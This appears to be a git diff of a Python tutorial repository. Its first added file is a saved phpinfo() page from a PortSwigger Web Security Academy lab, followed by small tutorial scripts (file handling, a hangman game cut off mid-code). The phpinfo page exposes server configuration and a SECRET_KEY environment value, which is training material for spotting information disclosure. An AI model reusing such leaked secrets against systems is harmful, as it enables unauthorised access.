Virtual Directory Support disabled
Configuration File (php.ini) Path /etc/php/7.4/cgi
Loaded Configuration File /etc/php/7.4/cgi/php.ini
Scan this dir for additional .ini files /etc/php/7.4/cgi/conf.d
Additional .ini files parsed /etc/php/7.4/cgi/conf.d/10-opcache.ini, +/etc/php/7.4/cgi/conf.d/10-pdo.ini, +/etc/php/7.4/cgi/conf.d/15-xml.ini, +/etc/php/7.4/cgi/conf.d/20-calendar.ini, +/etc/php/7.4/cgi/conf.d/20-ctype.ini, +/etc/php/7.4/cgi/conf.d/20-dom.ini, +/etc/php/7.4/cgi/conf.d/20-exif.ini, +/etc/php/7.4/cgi/conf.d/20-ffi.ini, +/etc/php/7.4/cgi/conf.d/20-fileinfo.ini, +/etc/php/7.4/cgi/conf.d/20-ftp.ini, +/etc/php/7.4/cgi/conf.d/20-gettext.ini, +/etc/php/7.4/cgi/conf.d/20-iconv.ini, +/etc/php/7.4/cgi/conf.d/20-json.ini, +/etc/php/7.4/cgi/conf.d/20-phar.ini, +/etc/php/7.4/cgi/conf.d/20-posix.ini, +/etc/php/7.4/cgi/conf.d/20-readline.ini, +/etc/php/7.4/cgi/conf.d/20-shmop.ini, +/etc/php/7.4/cgi/conf.d/20-simplexml.ini, +/etc/php/7.4/cgi/conf.d/20-sockets.ini, +/etc/php/7.4/cgi/conf.d/20-sysvmsg.ini, +/etc/php/7.4/cgi/conf.d/20-sysvsem.ini, +/etc/php/7.4/cgi/conf.d/20-sysvshm.ini, +/etc/php/7.4/cgi/conf.d/20-tokenizer.ini, +/etc/php/7.4/cgi/conf.d/20-xmlreader.ini, +/etc/php/7.4/cgi/conf.d/20-xmlwriter.ini, +/etc/php/7.4/cgi/conf.d/20-xsl.ini, +/etc/php/7.4/cgi/conf.d/99-academy.ini +
PHP API 20190902
PHP Extension 20190902
Zend Extension 320190902
Zend Extension Build API320190902,NTS
PHP Extension Build API20190902,NTS
Debug Build no
Thread Safety disabled
Zend Signal Handling enabled
Zend Memory Manager enabled
Zend Multibyte Support disabled
IPv6 Support enabled
DTrace Support available, disabled
Registered PHP Streamshttps, ftps, compress.zlib, php, file, glob, data, http, ftp, phar
Registered Stream Socket Transportstcp, udp, unix, udg, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2, tlsv1.3
Registered Stream Filterszlib.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk, convert.iconv.*
+ + +
+Zend logo +This program makes use of the Zend Scripting Language Engine:
Zend Engine v3.4.0, Copyright (c) Zend Technologies
    with Zend OPcache v7.4.3-4ubuntu2.20, Copyright (c), by Zend Technologies
+
+

Configuration

+

calendar

+ + +
Calendar support enabled
+

cgi-fcgi

+ + + + + + + + + + +
DirectiveLocal ValueMaster Value
cgi.check_shebang_line11
cgi.discard_path00
cgi.fix_pathinfo11
cgi.force_redirect11
cgi.nph00
cgi.redirect_status_envno valueno value
cgi.rfc2616_headers00
fastcgi.logging11
+

Core

+ + +
PHP Version 7.4.3-4ubuntu2.20
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DirectiveLocal ValueMaster Value
allow_url_fopenOnOn
allow_url_includeOffOff
arg_separator.input&&
arg_separator.output&&
auto_append_fileno valueno value
auto_globals_jitOnOn
auto_prepend_fileno valueno value
browscapno valueno value
default_charsetUTF-8UTF-8
default_mimetypetext/htmltext/html
disable_classesno valueno value
disable_functionspcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
display_errorsOffOff
display_startup_errorsOffOff
doc_rootno valueno value
docref_extno valueno value
docref_rootno valueno value
enable_dlOffOff
enable_post_data_readingOnOn
error_append_stringno valueno value
error_logno valueno value
error_prepend_stringno valueno value
error_reporting2252722527
expose_phpOffOff
extension_dir/usr/lib/php/20190902/usr/lib/php/20190902
file_uploadsOnOn
hard_timeout22
highlight.comment#FF8000#FF8000
highlight.default#0000BB#0000BB
highlight.html#000000#000000
highlight.keyword#007700#007700
highlight.string#DD0000#DD0000
html_errorsOnOn
ignore_repeated_errorsOffOff
ignore_repeated_sourceOffOff
ignore_user_abortOffOff
implicit_flushOffOff
include_path.:/usr/share/php.:/usr/share/php
input_encodingno valueno value
internal_encodingno valueno value
log_errorsOnOn
log_errors_max_len10241024
mail.add_x_headerOffOff
mail.force_extra_parametersno valueno value
mail.logno valueno value
max_execution_time3030
max_file_uploads2020
max_input_nesting_level6464
max_input_time6060
max_input_vars10001000
max_multipart_body_parts-1-1
memory_limit128M128M
open_basedirno valueno value
output_buffering40964096
output_encodingno valueno value
output_handlerno valueno value
post_max_size8M8M
precision1414
realpath_cache_size4096K4096K
realpath_cache_ttl120120
register_argc_argvOffOff
report_memleaksOnOn
report_zend_debugOnOn
request_orderGPGP
sendmail_fromno valueno value
sendmail_path/usr/sbin/sendmail -t -i /usr/sbin/sendmail -t -i 
serialize_precision-1-1
short_open_tagOffOff
SMTPlocalhostlocalhost
smtp_port2525
sys_temp_dirno valueno value
syslog.facilityLOG_USERLOG_USER
syslog.filterno-ctrlno-ctrl
syslog.identphpphp
track_errorsOffOff
unserialize_callback_funcno valueno value
upload_max_filesize2M2M
upload_tmp_dirno valueno value
user_dirno valueno value
user_ini.cache_ttl300300
user_ini.filename.user.ini.user.ini
variables_orderGPCSGPCS
xmlrpc_error_number00
xmlrpc_errorsOffOff
zend.assertions-1-1
zend.detect_unicodeOnOn
zend.enable_gcOnOn
zend.exception_ignore_argsOffOff
zend.multibyteOffOff
zend.script_encodingno valueno value
zend.signal_checkOffOff
+

ctype

+ + +
ctype functions enabled
+

date

+ + + + + + +
date/time support enabled
timelib version 2018.03
"Olson" Timezone Database Version 0.system
Timezone Database internal
Default timezone UTC
+ + + + + + + +
DirectiveLocal ValueMaster Value
date.default_latitude31.766731.7667
date.default_longitude35.233335.2333
date.sunrise_zenith90.58333390.583333
date.sunset_zenith90.58333390.583333
date.timezoneno valueno value
+

dom

+ + + + + + + + + +
DOM/XML enabled
DOM/XML API Version 20031129
libxml Version 2.9.10
HTML Support enabled
XPath Support enabled
XPointer Support enabled
Schema Support enabled
RelaxNG Support enabled
+

exif

+ + + + + + +
EXIF Support enabled
Supported EXIF Version 0220
Supported filetypes JPEG, TIFF
Multibyte decoding support using mbstring disabled
Extended EXIF tag formats Canon, Casio, Fujifilm, Nikon, Olympus, Samsung, Panasonic, DJI, Sony, Pentax, Minolta, Sigma, Foveon, Kyocera, Ricoh, AGFA, Epson
+ + + + + + + + +
DirectiveLocal ValueMaster Value
exif.decode_jis_intelJISJIS
exif.decode_jis_motorolaJISJIS
exif.decode_unicode_intelUCS-2LEUCS-2LE
exif.decode_unicode_motorolaUCS-2BEUCS-2BE
exif.encode_jisno valueno value
exif.encode_unicodeISO-8859-15ISO-8859-15
+

FFI

+ + +
FFI supportenabled
+ + + + +
DirectiveLocal ValueMaster Value
ffi.enablepreloadpreload
ffi.preloadno valueno value
+

fileinfo

+ + + +
fileinfo support enabled
libmagic 537
+

filter

+ + +
Input Validation and Filtering enabled
+ + + + +
DirectiveLocal ValueMaster Value
filter.defaultunsafe_rawunsafe_raw
filter.default_flagsno valueno value
+

ftp

+ + + +
FTP support enabled
FTPS support enabled
+

gettext

+ + +
GetText Support enabled
+

hash

+ + + +
hash support enabled
Hashing Engines md2 md4 md5 sha1 sha224 sha256 sha384 sha512/224 sha512/256 sha512 sha3-224 sha3-256 sha3-384 sha3-512 ripemd128 ripemd160 ripemd256 ripemd320 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru snefru256 gost gost-crypto adler32 crc32 crc32b crc32c fnv132 fnv1a32 fnv164 fnv1a64 joaat haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5
+ + + +
MHASH support Enabled
MHASH API Version Emulated Support
+

iconv

+ + + + +
iconv support enabled
iconv implementation glibc
iconv library version 2.31
+ + + + + +
DirectiveLocal ValueMaster Value
iconv.input_encodingno valueno value
iconv.internal_encodingno valueno value
iconv.output_encodingno valueno value
+

json

+ + +
json support enabled
+

libxml

+ + + + + +
libXML support active
libXML Compiled Version 2.9.10
libXML Loaded Version 20910
libXML streams enabled
+

openssl

+ + + + + +
OpenSSL support enabled
OpenSSL Library Version OpenSSL 1.1.1f 31 Mar 2020
OpenSSL Header Version OpenSSL 1.1.1f 31 Mar 2020
Openssl default config /usr/lib/ssl/openssl.cnf
+ + + + +
DirectiveLocal ValueMaster Value
openssl.cafileno valueno value
openssl.capathno valueno value
+

pcntl

+ + +
pcntl supportenabled
+

pcre

+ + + + + + +
PCRE (Perl Compatible Regular Expressions) Support enabled
PCRE Library Version 10.34 2019-11-21
PCRE Unicode Version 12.1.0
PCRE JIT Support enabled
PCRE JIT Target x86 64bit (little endian + unaligned)
+ + + + + +
DirectiveLocal ValueMaster Value
pcre.backtrack_limit10000001000000
pcre.jit11
pcre.recursion_limit100000100000
+

PDO

+ + + +
PDO supportenabled
PDO drivers no value
+

Phar

+ + + + + + + + + +
Phar: PHP Archive supportenabled
Phar API version 1.1.1
Phar-based phar archives enabled
Tar-based phar archives enabled
ZIP-based phar archives enabled
gzip compression enabled
bzip2 compression disabled (install ext/bz2)
Native OpenSSL support enabled
+ + +
+Phar based on pear/PHP_Archive, original concept by Davey Shafik.
Phar fully realized by Gregory Beaver and Marcus Boerger.
Portions of tar implementation Copyright (c) 2003-2009 Tim Kientzle.
+ + + + + +
DirectiveLocal ValueMaster Value
phar.cache_listno valueno value
phar.readonlyOnOn
phar.require_hashOnOn
+

posix

+ + +
POSIX support enabled
+

readline

+ + + +
Readline Supportenabled
Readline library EditLine wrapper
+ + + + +
DirectiveLocal ValueMaster Value
cli.pagerno valueno value
cli.prompt\b \> \b \> 
+

Reflection

+ + +
Reflection enabled
+

session

+ + + + +
Session Support enabled
Registered save handlers files user
Registered serializer handlers php_serialize php php_binary
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DirectiveLocal ValueMaster Value
session.auto_startOffOff
session.cache_expire180180
session.cache_limiternocachenocache
session.cookie_domainno valueno value
session.cookie_httponlyno valueno value
session.cookie_lifetime00
session.cookie_path//
session.cookie_samesiteno valueno value
session.cookie_secure00
session.gc_divisor10001000
session.gc_maxlifetime14401440
session.gc_probability00
session.lazy_writeOnOn
session.namePHPSESSIDPHPSESSID
session.referer_checkno valueno value
session.save_handlerfilesfiles
session.save_path/var/lib/php/sessions/var/lib/php/sessions
session.serialize_handlerphpphp
session.sid_bits_per_character55
session.sid_length2626
session.upload_progress.cleanupOnOn
session.upload_progress.enabledOnOn
session.upload_progress.freq1%1%
session.upload_progress.min_freq11
session.upload_progress.namePHP_SESSION_UPLOAD_PROGRESSPHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefixupload_progress_upload_progress_
session.use_cookies11
session.use_only_cookies11
session.use_strict_mode00
session.use_trans_sid00
+

shmop

+ + +
shmop support enabled
+

SimpleXML

+ + + +
SimpleXML support enabled
Schema support enabled
+

sockets

+ + +
Sockets Support enabled
+

sodium

+ + + + +
sodium supportenabled
libsodium headers version 1.0.18
libsodium library version 1.0.18
+

SPL

+ + + + +
SPL supportenabled
Interfaces OuterIterator, RecursiveIterator, SeekableIterator, SplObserver, SplSubject
Classes AppendIterator, ArrayIterator, ArrayObject, BadFunctionCallException, BadMethodCallException, CachingIterator, CallbackFilterIterator, DirectoryIterator, DomainException, EmptyIterator, FilesystemIterator, FilterIterator, GlobIterator, InfiniteIterator, InvalidArgumentException, IteratorIterator, LengthException, LimitIterator, LogicException, MultipleIterator, NoRewindIterator, OutOfBoundsException, OutOfRangeException, OverflowException, ParentIterator, RangeException, RecursiveArrayIterator, RecursiveCachingIterator, RecursiveCallbackFilterIterator, RecursiveDirectoryIterator, RecursiveFilterIterator, RecursiveIteratorIterator, RecursiveRegexIterator, RecursiveTreeIterator, RegexIterator, RuntimeException, SplDoublyLinkedList, SplFileInfo, SplFileObject, SplFixedArray, SplHeap, SplMinHeap, SplMaxHeap, SplObjectStorage, SplPriorityQueue, SplQueue, SplStack, SplTempFileObject, UnderflowException, UnexpectedValueException
+

standard

+ + + +
Dynamic Library Support enabled
Path to sendmail /usr/sbin/sendmail -t -i
+ + + + + + + + + + + + + + + + + +
DirectiveLocal ValueMaster Value
assert.active11
assert.bail00
assert.callbackno valueno value
assert.exception00
assert.quiet_eval00
assert.warning11
auto_detect_line_endings00
default_socket_timeout6060
fromno valueno value
session.trans_sid_hostsno valueno value
session.trans_sid_tagsa=href,area=href,frame=src,form=a=href,area=href,frame=src,form=
unserialize_max_depth40964096
url_rewriter.hostsno valueno value
url_rewriter.tagsform=form=
user_agentno valueno value
+

sysvmsg

+ + +
sysvmsg support enabled
+

sysvsem

+ + +
sysvsem support enabled
+

sysvshm

+ + +
sysvshm support enabled
+

tokenizer

+ + +
Tokenizer Support enabled
+

xml

+ + + + +
XML Support active
XML Namespace Support active
libxml2 Version 2.9.10
+

xmlreader

+ + +
XMLReader enabled
+

xmlwriter

+ + +
XMLWriter enabled
+

xsl

+ + + + + + +
XSL enabled
libxslt Version 1.1.34
libxslt compiled against libxml Version 2.9.10
EXSLT enabled
libexslt Version 1.1.34
+

Zend OPcache

+ + + + + + + + + + + + + + + + + + + + +
Opcode Caching Up and Running
Optimization Enabled
SHM Cache Enabled
File Cache Disabled
Startup OK
Shared memory model mmap
Cache hits 0
Cache misses 1
Used memory 9168472
Free memory 125049256
Wasted memory 0
Interned Strings Used memory 224744
Interned Strings Free memory 6066264
Cached scripts 1
Cached keys 1
Max keys 16229
OOM restarts 0
Hash keys restarts 0
Manual restarts 0
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DirectiveLocal ValueMaster Value
opcache.blacklist_filenameno valueno value
opcache.consistency_checks00
opcache.dups_fixOffOff
opcache.enableOnOn
opcache.enable_cliOffOff
opcache.enable_file_overrideOffOff
opcache.error_logno valueno value
opcache.file_cacheno valueno value
opcache.file_cache_consistency_checks11
opcache.file_cache_only00
opcache.file_update_protection22
opcache.force_restart_timeout180180
opcache.huge_code_pagesOffOff
opcache.interned_strings_buffer88
opcache.lockfile_path/tmp/tmp
opcache.log_verbosity_level11
opcache.max_accelerated_files1000010000
opcache.max_file_size00
opcache.max_wasted_percentage55
opcache.memory_consumption128128
opcache.opt_debug_level00
opcache.optimization_level0x7FFEBFFF0x7FFEBFFF
opcache.preferred_memory_modelno valueno value
opcache.preloadno valueno value
opcache.preload_userno valueno value
opcache.protect_memory00
opcache.restrict_apino valueno value
opcache.revalidate_freq22
opcache.revalidate_pathOffOff
opcache.save_comments11
opcache.use_cwdOnOn
opcache.validate_permissionOffOff
opcache.validate_rootOffOff
opcache.validate_timestampsOnOn
+

zlib

+ + + + + + +
ZLib Supportenabled
Stream Wrapper compress.zlib://
Stream Filter zlib.inflate, zlib.deflate
Compiled Version 1.2.11
Linked Version 1.2.11
+ + + + + +
DirectiveLocal ValueMaster Value
zlib.output_compressionOffOff
zlib.output_compression_level-1-1
zlib.output_handlerno valueno value
+

Additional Modules

+ + +
Module Name
+

Environment

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
VariableValue
GATEWAY_INTERFACE CGI/1.1
SUDO_GID 10000
REMOTE_HOST 105.235.135.13
USER carlos
HTTP_ACCEPT_CHARSET *
SECRET_KEY qpv07o7eirlfsovg81p7ay7m9l8jaw8b
QUERY_STRING no value
HOME /home/carlos
HTTP_USER_AGENT Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
HTTP_ACCEPT */*
SCRIPT_FILENAME /home/carlos/cgi-bin/phpinfo.php
HTTP_HOST 0a8700550346ebd1804c946100f40010.web-security-academy.net
SUDO_UID 10000
LOGNAME carlos
SERVER_SOFTWARE PortSwiggerHttpServer/1.0
TERM unknown
PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
HTTP_ACCEPT_LANGUAGE en-US
HTTP_REFERER https://0a8700550346ebd1804c946100f40010.web-security-academy.net/cgi-bin/
SERVER_PROTOCOL HTTP/1.1
HTTP_ACCEPT_ENCODING identity
SUDO_COMMAND /usr/bin/sh -c /usr/bin/php-cgi
SHELL /bin/bash
REDIRECT_STATUS true
SUDO_USER academy
REQUEST_METHOD GET
PWD /home/carlos/cgi-bin
SERVER_PORT 443
SCRIPT_NAME /cgi-bin/phpinfo.php
SERVER_NAME 10.0.4.200
+

PHP Variables

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
VariableValue
$_SERVER['GATEWAY_INTERFACE']CGI/1.1
$_SERVER['SUDO_GID']10000
$_SERVER['REMOTE_HOST']105.235.135.13
$_SERVER['USER']carlos
$_SERVER['HTTP_ACCEPT_CHARSET']*
$_SERVER['SECRET_KEY']qpv07o7eirlfsovg81p7ay7m9l8jaw8b
$_SERVER['QUERY_STRING']no value
$_SERVER['HOME']/home/carlos
$_SERVER['HTTP_USER_AGENT']Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
$_SERVER['HTTP_ACCEPT']*/*
$_SERVER['SCRIPT_FILENAME']/home/carlos/cgi-bin/phpinfo.php
$_SERVER['HTTP_HOST']0a8700550346ebd1804c946100f40010.web-security-academy.net
$_SERVER['SUDO_UID']10000
$_SERVER['LOGNAME']carlos
$_SERVER['SERVER_SOFTWARE']PortSwiggerHttpServer/1.0
$_SERVER['TERM']unknown
$_SERVER['PATH']/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
$_SERVER['HTTP_ACCEPT_LANGUAGE']en-US
$_SERVER['HTTP_REFERER']https://0a8700550346ebd1804c946100f40010.web-security-academy.net/cgi-bin/
$_SERVER['SERVER_PROTOCOL']HTTP/1.1
$_SERVER['HTTP_ACCEPT_ENCODING']identity
$_SERVER['SUDO_COMMAND']/usr/bin/sh -c /usr/bin/php-cgi
$_SERVER['SHELL']/bin/bash
$_SERVER['REDIRECT_STATUS']true
$_SERVER['SUDO_USER']academy
$_SERVER['REQUEST_METHOD']GET
$_SERVER['PWD']/home/carlos/cgi-bin
$_SERVER['SERVER_PORT']443
$_SERVER['SCRIPT_NAME']/cgi-bin/phpinfo.php
$_SERVER['SERVER_NAME']10.0.4.200
$_SERVER['PHP_SELF']/cgi-bin/phpinfo.php
$_SERVER['REQUEST_TIME_FLOAT']1712744607.1831
$_SERVER['REQUEST_TIME']1712744607
+
+

PHP Credits

+ + + +
PHP Group
Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski
+ + + +
Language Design & Concept
Andi Gutmans, Rasmus Lerdorf, Zeev Suraski, Marcus Boerger
+ + + + + + + + + + + + +
PHP Authors
ContributionAuthors
Zend Scripting Language Engine Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Marcus Boerger, Dmitry Stogov, Xinchen Hui, Nikita Popov
Extension Module API Andi Gutmans, Zeev Suraski, Andrei Zmievski
UNIX Build and Modularization Stig Bakken, Sascha Schumann, Jani Taskinen, Peter Kokot
Windows Support Shane Caraveo, Zeev Suraski, Wez Furlong, Pierre-Alain Joye, Anatol Belski, Kalle Sommer Nielsen
Server API (SAPI) Abstraction Layer Andi Gutmans, Shane Caraveo, Zeev Suraski
Streams Abstraction Layer Wez Furlong, Sara Golemon
PHP Data Objects Layer Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
Output Handler Zeev Suraski, Thies C. Arntzen, Marcus Boerger, Michael Wallner
Consistent 64 bit support Anthony Ferrara, Anatol Belski
+ + + + + + + + + + +
SAPI Modules
ContributionAuthors
Apache 2.0 Handler Ian Holsman, Justin Erenkrantz (based on Apache 2.0 Filter code)
CGI / FastCGI Rasmus Lerdorf, Stig Bakken, Shane Caraveo, Dmitry Stogov
CLI Edin Kadribasic, Marcus Boerger, Johannes Schlueter, Moriyoshi Koizumi, Xinchen Hui
Embed Edin Kadribasic
FastCGI Process Manager Andrei Nigmatulin, dreamcat4, Antony Dovgal, Jerome Loyet
litespeed George Wang
phpdbg Felipe Pena, Joe Watkins, Bob Weinand
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Module Authors
ModuleAuthors
BC Math Andi Gutmans
Bzip2 Sterling Hughes
Calendar Shane Caraveo, Colin Viebrock, Hartmut Holzgraefe, Wez Furlong
COM and .Net Wez Furlong
ctype Hartmut Holzgraefe
cURL Sterling Hughes
Date/Time Support Derick Rethans
DB-LIB (MS SQL, Sybase) Wez Furlong, Frank M. Kromann, Adam Baratz
DBA Sascha Schumann, Marcus Boerger
DOM Christian Stocker, Rob Richards, Marcus Boerger
enchant Pierre-Alain Joye, Ilia Alshanetsky
EXIF Rasmus Lerdorf, Marcus Boerger
FFI Dmitry Stogov
fileinfo Ilia Alshanetsky, Pierre Alain Joye, Scott MacVicar, Derick Rethans, Anatol Belski
Firebird driver for PDO Ard Biesheuvel
FTP Stefan Esser, Andrew Skalski
GD imaging Rasmus Lerdorf, Stig Bakken, Jim Winstead, Jouni Ahto, Ilia Alshanetsky, Pierre-Alain Joye, Marcus Boerger
GetText Alex Plotnick
GNU GMP support Stanislav Malyshev
Iconv Rui Hirokawa, Stig Bakken, Moriyoshi Koizumi
IMAP Rex Logan, Mark Musone, Brian Wang, Kaj-Michael Lang, Antoni Pamies Olive, Rasmus Lerdorf, Andrew Skalski, Chuck Hagenbuch, Daniel R Kalowsky
Input Filter Rasmus Lerdorf, Derick Rethans, Pierre-Alain Joye, Ilia Alshanetsky
Internationalization Ed Batutis, Vladimir Iordanov, Dmitry Lakhtyuk, Stanislav Malyshev, Vadim Savchuk, Kirti Velankar
JSON Jakub Zelenka, Omar Kilani, Scott MacVicar
LDAP Amitay Isaacs, Eric Warnke, Rasmus Lerdorf, Gerrit Thomson, Stig Venaas
LIBXML Christian Stocker, Rob Richards, Marcus Boerger, Wez Furlong, Shane Caraveo
Multibyte String Functions Tsukada Takuya, Rui Hirokawa
MySQL driver for PDO George Schlossnagle, Wez Furlong, Ilia Alshanetsky, Johannes Schlueter
MySQLi Zak Greant, Georg Richter, Andrey Hristov, Ulf Wendel
MySQLnd Andrey Hristov, Ulf Wendel, Georg Richter, Johannes Schlüter
OCI8 Stig Bakken, Thies C. Arntzen, Andy Sautins, David Benson, Maxim Maletsky, Harald Radi, Antony Dovgal, Andi Gutmans, Wez Furlong, Christopher Jones, Oracle Corporation
ODBC driver for PDO Wez Furlong
ODBC Stig Bakken, Andreas Karajannis, Frank M. Kromann, Daniel R. Kalowsky
Opcache Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Dmitry Stogov, Xinchen Hui
OpenSSL Stig Venaas, Wez Furlong, Sascha Kettler, Scott MacVicar
Oracle (OCI) driver for PDO Wez Furlong
pcntl Jason Greene, Arnaud Le Blanc
Perl Compatible Regexps Andrei Zmievski
PHP Archive Gregory Beaver, Marcus Boerger
PHP Data Objects Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
PHP hash Sara Golemon, Rasmus Lerdorf, Stefan Esser, Michael Wallner, Scott MacVicar
Posix Kristian Koehntopp
PostgreSQL driver for PDO Edin Kadribasic, Ilia Alshanetsky
PostgreSQL Jouni Ahto, Zeev Suraski, Yasuo Ohgaki, Chris Kings-Lynne
Pspell Vlad Krupin
Readline Thies C. Arntzen
Reflection Marcus Boerger, Timm Friebe, George Schlossnagle, Andrei Zmievski, Johannes Schlueter
Sessions Sascha Schumann, Andrei Zmievski
Shared Memory Operations Slava Poliakov, Ilia Alshanetsky
SimpleXML Sterling Hughes, Marcus Boerger, Rob Richards
SNMP Rasmus Lerdorf, Harrie Hazewinkel, Mike Jackson, Steven Lawrance, Johann Hanne, Boris Lytochkin
SOAP Brad Lafountain, Shane Caraveo, Dmitry Stogov
Sockets Chris Vandomelen, Sterling Hughes, Daniel Beulshausen, Jason Greene
Sodium Frank Denis
SPL Marcus Boerger, Etienne Kneuss
SQLite 3.x driver for PDO Wez Furlong
SQLite3 Scott MacVicar, Ilia Alshanetsky, Brad Dewar
System V Message based IPC Wez Furlong
System V Semaphores Tom May
System V Shared Memory Christian Cartus
tidy John Coggeshall, Ilia Alshanetsky
tokenizer Andrei Zmievski, Johannes Schlueter
XML Stig Bakken, Thies C. Arntzen, Sterling Hughes
XMLReader Rob Richards
xmlrpc Dan Libby
XMLWriter Rob Richards, Pierre-Alain Joye
XSL Christian Stocker, Rob Richards
Zip Pierre-Alain Joye, Remi Collet
Zlib Rasmus Lerdorf, Stefan Roehrich, Zeev Suraski, Jade Nicoletti, Michael Wallner
+ + + + + + +
PHP Documentation
Authors Mehdi Achour, Friedhelm Betz, Antony Dovgal, Nuno Lopes, Hannes Magnusson, Philip Olson, Georg Richter, Damien Seguy, Jakub Vrana, Adam Harvey
Editor Peter Cowburn
User Note Maintainers Daniel P. Brown, Thiago Henrique Pojda
Other Contributors Previously active authors, editors and other contributors are listed in the manual.
+ + + +
PHP Quality Assurance Team
Ilia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, Moriyoshi Koizumi, Magnus Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua, Pierre-Alain Joye, Dmitry Stogov, Felipe Pena, David Soria Parra, Stanislav Malyshev, Julien Pauli, Stephen Zarkos, Anatol Belski, Remi Collet, Ferenc Kovacs
+ + + + + + +
Websites and Infrastructure team
PHP Websites Team Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison
Event Maintainers Damien Seguy, Daniel P. Brown
Network Infrastructure Daniel P. Brown
Windows Infrastructure Alex Schoenmaker
+

PHP License

+ + +
+

+This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE +

+

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +

+

If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net. +

+
+
\ No newline at end of file diff --git a/python-standard-library/grep-clone/requirements.txt b/python-standard-library/grep-clone/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/python-standard-library/grep-clone/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/python-standard-library/handling-files/listing_files.py b/python-standard-library/handling-files/handling-files.py similarity index 94% rename from python-standard-library/handling-files/listing_files.py rename to python-standard-library/handling-files/handling-files.py index b615ab07..65feb8c3 100644 --- a/python-standard-library/handling-files/listing_files.py +++ b/python-standard-library/handling-files/handling-files.py @@ -1,4 +1,5 @@ import os +import shutil # print the current directory print("The current directory:", os.getcwd()) @@ -46,8 +47,10 @@ # remove the folder os.rmdir("folder") -# remove nested folders +# remove nested empty folders os.removedirs("nested1/nested2/nested3") +# remote non-empty folders +shutil.rmtree("nested1") open("text.txt", "w").write("This is a text file") diff --git a/python-standard-library/hangman-game/README.md b/python-standard-library/hangman-game/README.md new file mode 100644 index 00000000..7ed8f74f --- /dev/null +++ b/python-standard-library/hangman-game/README.md @@ -0,0 +1 @@ +# [How to Make a Hangman Game in Python](https://www.thepythoncode.com/article/make-a-hangman-game-in-python) \ No newline at end of file diff --git a/python-standard-library/hangman-game/hangman.py b/python-standard-library/hangman-game/hangman.py new file mode 100644 index 00000000..1c017bc3 --- /dev/null +++ b/python-standard-library/hangman-game/hangman.py @@ -0,0 +1,111 @@ +from string import ascii_letters +import os +import random + +class Hangman: + + def __init__(self): + with open("./words.txt", "r") as file: + words = file.read().split("\n") + self.secret_word = random.choice(words) + self.guessed_word = "*" * len(self.secret_word) + + self.incorrect_guess_limit = 6 + self.incorrect_guesses = 0 + self.wrong_guesses = [] + self.gallow_pieces = [ + "------", + "| |", + "| ", + "| ", + "| ", + "|" + ] + self.gallow = "\n".join(self.gallow_pieces) + self.man_pieces = [ + " \\", + "/", + " \\", + " |", + "/", + "O", + ] + + def greet_user(self): + print("Hangman\n") + + def show_list_of_wrong_guesses(self): + # show the list of wrong guesses + print(f"Wrong guesses: {', '.join(self.wrong_guesses)}\n\n") + + def take_guess(self) -> str: + # take user guess + while True: + guess = input("Guess a letter:\n>>> ") + if len(guess) == 1 and guess in ascii_letters: + break + else: + print("Invalid input") + return guess + + def 